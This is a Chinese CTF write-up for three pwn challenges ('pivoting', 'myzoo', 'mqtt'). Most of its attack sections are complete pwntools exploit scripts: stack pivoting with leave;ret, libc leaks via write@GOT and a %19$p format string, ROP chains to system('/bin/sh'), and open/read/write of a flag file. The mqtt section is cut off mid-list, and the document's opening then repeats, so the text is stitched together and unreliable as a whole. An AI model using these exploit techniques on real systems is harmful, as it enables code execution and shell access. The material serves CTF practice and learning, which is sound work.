PCB题解

one:pivoting

有点难看,考完四级有点头晕

我们看着程序逻辑进行交互,成功的触发了软件运行故障

 ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting  ./pwn
This is a bank
Please tell me your name
h�i:�
a
What can I do for you?
1
How much money would you like to withdraw?
2
Are you sure?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
I know
What can I do for you?
How much money would you like to save?
Welcome back
please let me check again
Thanks for your coming
[1]    1150 segmentation fault (core dumped)  ./pwn

这个题目给出了gadget,可以稳定控制寄存器去进行传参

 ✘ ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting  ROPgadget --binary ./pwn --only "pop|ret"                                            

Gadgets information
============================================================
0x00000000004014ee : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f0 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f2 : pop r14 ; pop r15 ; ret
0x00000000004014f4 : pop r15 ; ret
0x00000000004014ed : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004014f1 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x00000000004014f5 : pop rdi ; ret
0x00000000004014f3 : pop rsi ; pop r15 ; ret
0x00000000004014ef : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012fd : ret 0x8b48
0x000000000040124a : ret 0x8d48

Unique gadgets found: 13

这里有个死循环,我们需要想办法跳过去,这样之后才能进行控制流的劫持,一开始审计代码的时候没有考虑到这一点

然后我们利用程序逻辑清零flag标志位

然后我们调试确定stack的值就行,这里我们发现arch不指定的时候pwntools默认的是32位的架构的

from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("0xdeadbeef")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.sendline(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(stack-0x180+0x18,0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x18)
pd += p64(0x4013C8)  #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, "b *0x4014C8")

cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))

我们这样定义完成之后,重启泄露出来libc,但是会发现scanf的时候栈帧没有对齐,所以我们执行的返回前加上一个ret抬栈就能打通了

sudo apt install ruby
sudo apt install gem
gem install one_gadget

我们发现还是没有改好,我们安装onegadget试试

这个题目我们尝试open的时候也是出现了莫名其妙的覆写的bug

from pwn import *
io = process("./pwn")
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("0xdeadbeef")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.sendline(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x48, b"\x00")
pd += b'./flag\x00\x00'
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]


cmd(pd)
libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,flag,rsi,0,rdx,0,0,open)
pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd(pd)
#gdb.attach(io, "b *0x4014C8")
pd = flat('./flag\x00\x00',rdi,3,rsi,stack,rdx,0x20,0,read)
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180-8)
pd += p64(0x4013C8)  #leave_ret
cmd(pd)


#io.recvuntil('Thanks for your coming\n')
io.interactive()

exp

这个交互逻辑被改了是真的被坑了,这种重启之后的全局条件不可逆的要额外去注意

这个我想了很多方法做,尝试了很多基础的方式,学到了很多函数调用栈基础,收获很多

当povoting之后的system莫名奇妙不行的时候,可以打ogg,当还是不行的时候

可以打orw,可以顺着程序的逻辑去打,因为漏洞到重启固定的话反复重复基本就可以了

这个题目我打重复还是不行,一开始有个手动调用read的想法,一直没有实践,到最后发现所有方法都打不通的时候,采取调用read

然后发现,构造调用read劫持返回地址是真的好用,反正我用过一次之后之后就准备常用这种方式了,很方便

from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret

context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)


libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']

def cmd2(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)


gdb.attach(io, "b *0x4014C8")
#pd = flat(stack-0x180+0x18,0x000000000040101a,stack,0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd2(pd)

#pause()
ROP = flat(rdi,flag+0x100,rsi,0,rdx,0,0,open)
ROP+= flat(rdi,3,rsi,stack,rdx,0x20,0,read)
ROP+= flat(rdi,1,rsi,stack,rdx,0x20,0,write)
ROP+= b'./flag\x00\x00'
pause()
io.send(ROP)
#io.recvuntil('Thanks for your coming\n')
io.interactive()

下面这个可以稳定控制

from pwn import *
io = process("./pwn")
context.log_level = "debug"
io.recvuntil("Please tell me your name\n")
stack = u64(io.recv(6).ljust(8, b"\x00"))
print("stack = ", hex(stack))
def cmd(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)
    io.recvuntil("What can I do for you?")
    io.sendline("0")
    io.recvuntil("How much money would you like to save?\n")
    io.sendline("1")
context.arch = "amd64"
elf  = ELF("./pwn")
pd = flat(0x00000000004014f3,elf.got["write"],0,0x00000000004014f5,1,elf.plt["write"],elf.symbols["main"])
pd = pd.ljust(0x50, b"\x00")
pd += p64(stack-0x180+0x10)
pd += p64(0x4013C8)  #leave_ret

context.terminal = ["tmux", "splitw", "-h"]
cmd(pd)


libc = ELF("./libc.so.6")
io.recvuntil("Thanks for your coming\n")
lib = u64(io.recv(6).ljust(8, b"\x00"))-libc.sym['write']
print("lib = ", hex(lib))
ogg = lib + [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43][5]
rdx = 0x00000000000904a9 + lib
rsi = 0x000000000002be51 + lib
rdi = 0x000000000002a3e5 + lib
flag = stack-0x180+0x18-8-0x18
open = lib+libc.sym['open']
read = lib+libc.sym['read']
write = lib+libc.sym['write']

def cmd2(payload):
    io.sendline("1")
    io.recvuntil("What can I do for you?")
    io.sendline("1")
    io.recvuntil("How much money would you like to withdraw?")
    io.sendline("2")
    io.recvuntil("Are you sure?")
    io.send(payload)


gdb.attach(io, "b *0x4014C8")
pd = flat(0x000000000040101a,0x00000000004014f5,lib+next(libc.search(b"/bin/sh")),lib+libc.sym['system'])
#pd = flat(rdi,0,rsi,stack-0x180+0x10+0x28,rdx,0x300,0,read,elf.sym['main'])
#pd += b'\xca\x13\x40\x00\x00\x00\x00\x00'#p64(0x4013ca)#0x4013ca
#pd = flat(stack-0x180+0x18,0x000000000040101a,0x404a00,ogg)
#pd = flat(0)+b'./flag\x00\x00'
#pd +=flat(stack-0x180+0x18,ROP)
pd = pd.ljust(0x50,b'\x00')
pd += p64(stack-0x180-0x10)
pd += p64(0x4013C8)  #leave_ret
cmd2(pd)
#io.recvuntil('Thanks for your coming\n')
io.interactive()

TWO:myzoo

我们还是边运行边做,通过运行逻辑去做

但是这里有个缺陷,就是很感性,比如说上一题,交互逻辑错了,一两个小时愣是没有看出来

这里我见到了这个,第一见到的新东西

_mm_cvtsi32_si128(0x12345678)

// 结果是:{0x00000000, 0x00000000, 0x00000000, 0x12345678} (小端)

_mm_cvtsi32_si128(0x41500000u).m128i_i64

然后题目进行初始化结束之后,直接给出pie

printf("gift@%p\n", printf_w);

这个题目的问题是共用一个全局变量,我们可以根据这一点劫持程序执行流

yes
随你吧
aaaaaaaaaaaaaaaaaaaaaaaa
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x612480aec2c9
3
名字:
年龄: 2
忘了品种: aaaaaaaaaaaaaaaaaaaaaaaa

[1]    10095 segmentation fault (core dumped)  ./pwn

这里的结构体干扰很多,随便选个就能崩溃,我们现在需要的是rop链子

0x1723

0x1A63

0x18BA

0x4050

这个题目的偏移是不好看出来的,我们需要不断去进行调整

aaaaaaaabbbbbbbbccccccccdddddddd
aaaaaaaaabbbbbbbbccccccccdddddddeeeeeeee

我们好像已经找到了稳定控制的方式

   0x555555555723    mov    rax, qword ptr [rip + 0x2926]     RAX, [0x555555558050] => 0x55555555b2a0 ◂— 2
   0x55555555572a    mov    rax, qword ptr [rax + 0x50]       RAX, [0x55555555b2f0] => 0xa65656565
   0x55555555572e    mov    rdx, qword ptr [rip + 0x291b]     RDX, [0x555555558050] => 0x55555555b2a0 ◂— 2
   0x555555555735    add    rdx, 8                            RDX => 0x55555555b2a8 (0x55555555b2a0 + 0x8)
   0x555555555739    mov    rdi, rdx                          RDI => 0x55555555b2a8 ◂— 'common bird'
 ► 0x55555555573c    call   rax                         <0xa65656565>

   0x55555555573e    lea    rax, [rip + 0xa09]     RAX => 0x55555555614e ◂— 0xa6e8b383e6a0bde4
   0x555555555745    mov    rdi, rax
   0x555555555748    call   puts@plt                    <puts@plt>

   0x55555555574d    lea    rax, [rbp - 0x10]
   0x555555555751    mov    rsi, rax
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe270 —▸ 0x7fffffffe3e8 —▸ 0x7fffffffe6a2 ◂— '/mnt/d/Users/Lenovo/Desktop/pcb/myzoo/pwn'
01:0008│-018 0x7fffffffe278 —▸ 0x55555555b310 ◂— 'Golden Retriever'
02:0010│-010 0x7fffffffe280 —▸ 0x555555557d60 —▸ 0x555555555280 ◂— endbr64
03:0018│-008 0x7fffffffe288 ◂— 0x8dbcd9ee2f7d500
04:0020│ rbp 0x7fffffffe290 —▸ 0x7fffffffe2d0 ◂— 1
05:0028│+008 0x7fffffffe298 —▸ 0x555555555f3e ◂— jmp 0x555555555f66
06:0030│+010 0x7fffffffe2a0 ◂— 0
07:0038│+018 0x7fffffffe2a8 ◂— 0x100000000
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55555555573c
   1   0x555555555f3e
   2   0x7ffff7dbbd90
   3   0x7ffff7dbbe40 __libc_start_main+128
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0x55555555b2a0
00:0000│         0x55555555b2a0 ◂— 2
01:0008│ rdx rdi 0x55555555b2a8 ◂— 'common bird'
02:0010│         0x55555555b2b0 ◂— 0x647269 /* 'ird' */
03:0018│         0x55555555b2b8 ◂— 0
04:0020│         0x55555555b2c0 ◂— 0
05:0028│         0x55555555b2c8 ◂— 0x6161616100000001
06:0030│         0x55555555b2d0 ◂— 'aaaaabbbbbbbbccccccccdddddddeeeeeeee\n'
07:0038│         0x55555555b2d8 ◂— 'bbbbbccccccccdddddddeeeeeeee\n'
pwndbg>
08:0040│  0x55555555b2e0 ◂— 'cccccdddddddeeeeeeee\n'
09:0048│  0x55555555b2e8 ◂— 'ddddeeeeeeee\n'
0a:0050│  0x55555555b2f0 ◂— 0xa65656565 /* 'eeee\n' */
0b:0058│  0x55555555b2f8 —▸ 0x5555555554dd ◂— endbr64

我们通过这个前缀,后门加上我们的地址,可以稳定控制call rax

aaaaaaaaabbbbbbbbccccccccdddddddeeee

我们通过选择cat,我们控制传入的参数的形式

现在我们缺少一个system

但是我们在调试的时候,我们还是缺少了很多东西(*(heap_ptr + 6))(heap_ptr + 8);比如说这个,我们rax的调用的偏移是这个

我们发现了一个可控链子

1111222233334444555566667777888899990000

这样输入的时候,call第二个时候,会出现这个情况

0x5555555558d3    call   rax                         <0x3333333332323232>

这里说明我们有四个gadget的长度进行,这个是我们找到的最大的攻击面

但是我们控制不了栈,我们还是只能控制一个gadget

下面是正常的交互的流程,这个应该是有格式化漏洞的

>>
gift@0x60b54bc542c9
1
名字: Buddy
年龄: 3
Golden Retriever
体重: 12.5 kg
Buddy: 汪!汪!
你想要喂它吗
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
2
名字: kitty
年龄: 2
体重: 13.0 kg
这个嘛,我不知道
kitty: 喵喵喵!
你想给它起外号?
no
bye
welcome to my ez zoos
there are only one dog,one cat,one bird
whats you want to play with
1. dog
2. cat
3. bird
>>
gift@0x60b54bc542c9
3
名字: casa
年龄: 1
忘了品种: common bird
casa: ......
它没理你
你想要喂它吗
no
bye

这个题需要还原出来结构体,要不靠猜的话很难做

当我选2随便输入一个字符之后

当我选3随便输入一个字符的时候

然后我们大致确定了如何调用system

在调用之后调用puts打印出来libc就行

弄了一下午还没有弄好,这个一旦到printf就会退出,这个要求的栈环境是真的严格

我们定义了一下午结构如下,终于深刻体会到的interactive的申力

我们这里可以定义好了,但是这里稳定传参有点被动,我们这条链子重置的表层的地址,就是隔开了一层地址,所以说我们还需要重新铺垫,手动构造一层隔离

我们理解错了,是差一层地址,不是多一层地址

所以说我们这一条利用思路压根就行不通

from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
    io.sendline('3')
    if sign == 1:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'yes')
        io.recvuntil("你说casa不符合他的性格?")
        io.sendline(b'yes')
        io.recvuntil("那你起个名字吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'no')


def pay2(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")

    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')
        

def pay1(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("1")
    if sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline('no')
    
def leak(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    lib = u64(io.recv(6).ljust(8,b'\x00'))
    pr(lib)
    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')

context.terminal = ['tmux', 'splitw', '-h'] 
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
puts = pie + elf.plt['puts']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']

#gdb.attach(io,"b *$rebase(0x1723)")  #  [1]
gdb.attach(io,"b *$rebase(0x18BA)") #   [2]
#gdb.attach(io,"b *$rebase(0x1A63)") #   [3]
pd1 = b'a'*4 + p64(puts) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
pd2 = p64(puts_addr)
pay2(pd2,1)
###触发尝试的puts,并且顺便泄露t表的地址###
leak(pd2,2)

###触发got表的地址###
io.interactive()

我们可以利用这条链执行system,但是我们不能利用这条链泄露打印出来got表的地址

我问了问是用的格式化进行泄露的

exp

from pwn import *
io = process('./pwn')
io.recvuntil("gift@")
pie = int(io.recv(16),16) - 0x12C9
print("pie:",hex(pie))
io.sendline('1')
io.recvuntil("你想要喂它吗")
io.sendline('no')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def pay3(payload=b'a',sign=0):
    io.sendline('3')
    if sign == 1:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'yes')
        io.recvuntil("你说casa不符合他的性格?")
        io.sendline(b'yes')
        io.recvuntil("那你起个名字吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline(b'no')


def pay2(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("2")

    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')
        

def pay1(payload=b'a',sign=0):
    io.recvuntil("gift@")
    io.sendline("1")
    if sign == 2:
        io.recvuntil("你想要喂它吗")
        io.sendline('no')
    
def leak(payload=b'a',sign=0):
    global lib
    io.recvuntil("gift@")
    io.sendline("2")
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    io.recvuntil('\n')
    lib = int(io.recv(14), 16) - 0x29d90
    pr(lib)
    if sign == 1:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('yes')
        io.recvuntil("随你吧")
        io.send(payload)
    elif sign == 2:
        io.recvuntil("你想给它起外号?\n")
        io.sendline('no')

context.terminal = ['tmux', 'splitw', '-h'] 
context.log_level = 'debug'
elf = ELF('./pwn')
ret = pie + 0x101a
leave_ret = pie + 0x00000000000012f9
printf = pie + elf.plt['printf']
puts2 = pie + elf.got['puts']
puts_addr = pie + 0x72d8
read1 = pie + 0x192D
read2 = pie + 0x1B4D
read = pie + elf.plt['read']

#gdb.attach(io,"b *$rebase(0x1723)")  #  [1]
gdb.attach(io,"b *$rebase(0x18BA)") #   [2]
#gdb.attach(io,"b *$rebase(0x1A63)") #   [3]
pd1 = b'a'*4 + p64(printf) + p64(puts2)
pay3(pd1,1)
###结构体的特定的偏移的位置###
#pd2 = p64(puts_addr)
pd2 = b'%19$p'
pay2(pd2,1)
###触发尝试的puts,并且顺便got表的地址###
leak(pd2,2)
libc = ELF('./libc.so.6')
###触发泄露libc地址###
pd1 = b'a'*4 + p64(lib+libc.symbols['system']) + p64(puts2)
pay3(pd1,1)
###写上system的地址#######
pd2 = b'/bin/sh\x00'
pay2(pd2,1)
###写上/bin/sh的地址#######
pay2(pd2,3)
###执行shell####
io.interactive()

THREE:mqtt

为了运行起来,我们先去安装一下链接库

1. 安装 libcjson.so.1(CJSON 库)

这个库通常由 libcjson1 或 libcjson-dev 提供。在基于 Debian/Ubuntu 的系统上,可以这样安装:

sudo apt update
sudo apt install libcjson1 libcjson-dev

如果你使用的是较新的 Ubuntu(如 22.04+),包名可能是 libcjson1;旧版本可能叫 libcjson0。如果找不到,也可以从源码编译(见后文)。

2. 安装 libpaho-mqtt3c.so.1(Paho MQTT C 客户端库)

从源码编译 Paho MQTT C(如果 apt 不行)

  1. 安装依赖:
sudo apt install build-essential cmake git
  1. 克隆官方仓库:
git clone https://github.com/eclipse/paho.mqtt.c.git
cd paho.mqtt.c
  1. 编译并安装(启用共享库):
cmake -B build -DPAHO_BUILD_SHARED=ON -DPAHO_BUILD_STATIC=OFF -DPAHO_WITH_SSL=OFF
cmake --build build
sudo cmake --install build

默认会安装到 /usr/local/lib,可能不在默认的 LD_LIBRARY_PATH 中。

  1. 更新动态链接器缓存:
sudo ldconfig

或者临时添加路径:

export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH

这样之后我们就能正常运行pwn附件了

对于这种类型的题目最好用最新版本的运行

做题

我们运行程序的效果如下

 ✘ ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ldd pwn
    linux-vdso.so.1 (0x00007d2d29f87000)
    libpaho-mqtt3c.so.1 => /usr/local/lib/libpaho-mqtt3c.so.1 (0x00007d2d29eb4000)
    libcjson.so.1 => /lib/x86_64-linux-gnu/libcjson.so.1 (0x00007d2d29e98000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007d2d29c00000)
    /lib64/ld-linux-x86-64.so.2 (0x00007d2d29f89000)
 ⚡ root@ziran-VMware-Virtual-Platform  /home/ziran/Desktop/mqtt  ./pwn
miss file.

补充一下相关的背景知识

/mnt/VIN —— Vehicle Identification Number(车辆识别码)

/mnt/version —— 固件/软件版本号

这是经典的 多项式滚动哈希(Polynomial Rolling Hash),使用的基数是 31。

int __fastcall sub_1509(__int64 p_dest, char *p_s2)
{
  int v3; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v3 = 0;
  for ( i = 0; *(_BYTE *)(i + p_dest); ++i )
    v3 = 31 * v3 + *(char *)(i + p_dest);
  return sprintf(p_s2, "%08x", v3);
}

然后还有这个

其中包含大量看似“无用”的变量初始化(如 n1129599309 = 1129599309;、v27 = -1; 等)。这些并不是随机垃圾,而是 MQTT 客户端库(Paho MQTT C)内部结构体的字段初始化。

    n1129599309 = 1129599309;
    n8 = 8;
    n60 = 60;
    v11 = 1;
    v12 = 1;
    v13 = 0;
    v14 = 0;
    v15 = 0;
    n30 = 30;
    v17 = 0;
    v18 = 0;
    v19 = 0;
    v20 = 0;
    v21 = 0;
    v22 = 0;
    v23 = 0;
    v24 = 0;
    v25 = 0;
    v26 = 0;
    v27 = -1;
    v28 = 0;
    v29 = 0;
    v30 = 0;
    v31 = 0;

1. 背景:Paho MQTT C 的连接配置

在 Paho MQTT C 库中,连接 MQTT broker 需要传入一个 MQTTClient_connectOptions 结构体,例如:

MQTTClient_connectOptions opts = MQTTClient_connectOptions_initializer;
opts.keepAliveInterval = 60;
opts.cleansession = 1;
opts.connectTimeout = 30;
// ...
MQTTClient_connect(client, &opts);

而 MQTTClient_connectOptions_initializer 是一个宏,展开后就是对结构体所有字段的初始化,比如:

#define MQTTClient_connectOptions_initializer { \
    'M', 'Q', 'T', 'C', 0, 0, 0, 0, \
    60, 1, NULL, NULL, NULL, NULL, \
    30, 0, 0, ... \
}

2. 反编译器“打散”了结构体

你的 main 函数中,这段代码:

n1129599309 = 1129599309;  // 0x434D514D -> "MQTC" (小端)
n8 = 8;                    // struct version = 8
n60 = 60;                  // keepAliveInterval = 60
v11 = 1;                   // cleansession = 1
v12 = 1;                   // (可能) reliable = 1
v13 = 0;                   // will = NULL
v14 = 0;                   // username = NULL
v15 = 0;                   // password = NULL
n30 = 30;                  // connectTimeout = 30
...
v27 = -1;                  // serverURIs = NULL (或特殊值)

正是手动初始化这个结构体的各个字段!

特别注意:

  • 1129599309 的十六进制是 0x434D514D
  • 按小端序解读为字节:4D 51 43 43 → ASCII: 'M' 'Q' 'T' 'C'
  • 这正是 Paho MQTT 结构体的 magic header(用于版本检查)

✅ 所以 n1129599309 = 1129599309 实际上是在设置结构体的前 4 字节为 "MQTC"。

3. 对应的真实结构体(简化版)

typedef struct {
    char struct_id[4];        // "MQTC"
    int struct_version;       // 通常为 8
    int keepAliveInterval;    // 60
    int cleansession;         // 1
    MQTTClient_willOptions* will;
    const char* username;
    const char* password;
    int connectTimeout;       // 30
    int retryInterval;
    void* ssl;
    // ... 其他字段
} MQTTClient_connectOptions;

你在栈上分配了一块内存(通过多个局部变量拼接),然后按字段赋值,最后应该会传给 MQTTClient_connect()。

⚠️ 但在你贴的代码中,并没有看到调用 MQTTClient_connect(&opts),而是直接 MQTTClient_connect()(无参数)——这说明:

  • 要么反编译不完整
  • 要么这些变量地址被取址后传入(如 &n1129599309 作为结构体指针)
  • 创建一个 MQTT 客户端实例,用于后续连接、订阅、发布消息。
  • 将创建好的客户端“句柄”(本质是一个内部结构体指针)写入全局变量 qword_5100。
  • 连接目标是本地的 MQTT 代理(broker):tcp://localhost:9999
  • 客户端标识为 "vehicle_diag" —— 模拟一个车载诊断设备。
MQTTClient_create(
    (__int64)&qword_5100,           // 输出:客户端句柄的地址
    (__int64)"tcp://localhost:9999", // broker 地址(MQTT 服务器)
    (__int64)"vehicle_diag"          // 客户端 ID(Client ID)
);
  • 注册消息接收回调函数:当客户端收到订阅主题的消息时,自动调用 sub_1C8C。
  • 其他回调(如断连通知)未设置(传 NULL)。
MQTTClient_setCallbacks(
    qword_5100,      // 客户端句柄
    0,               // context(用户自定义上下文,可为 NULL)
    0,               // connection lost callback(断连回调,未设置)
    (__int64)sub_1C8C // message arrived callback(消息到达回调函数)
);
  • 让 MQTT 客户端订阅名为 "diag" 的主题(topic)。
  • 此后,任何发布到 diag 主题的消息都会被 broker 转发给该客户端。
  • 客户端收到消息后,会触发之前通过 MQTTClient_setCallbacks 注册的回调函数 sub_1C8C。
MQTTClient_subscribe(client, "diag");
  • 创建一个独立的后台线程,执行函数 sub_1E1A。
  • 主线程继续执行(打印 "Init..." 并进入 sleep 循环),而新线程并发运行。
pthread_create(&newthread, NULL, sub_1E1A, NULL);

然后我们进入线程层面来看看

/dev/status 文件的内容会被直接当作字符串,填入 JSON 的 "status" 字段,随心跳包上报。

🔧 典型内容示例(取决于题目设定)

场景

可能的 /dev/status 内容

正常运行

online、running、engine_on、normal

故障状态

battery_low、sensor_error、overheat

诊断模式

diag_mode、maintenance_required

CTF 特殊设计

PCB题解

one:pivoting

有点难看,考完四级有点头晕

我们看着程序逻辑进行交互,成功的触发了软件运行故障

 ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/pcb/Pivoting  ./pwn
This is a bank
Please tell me your name
h�i:�
a
What can I do for you?
1
How much money would you like to withdraw?
2
Are you sure?
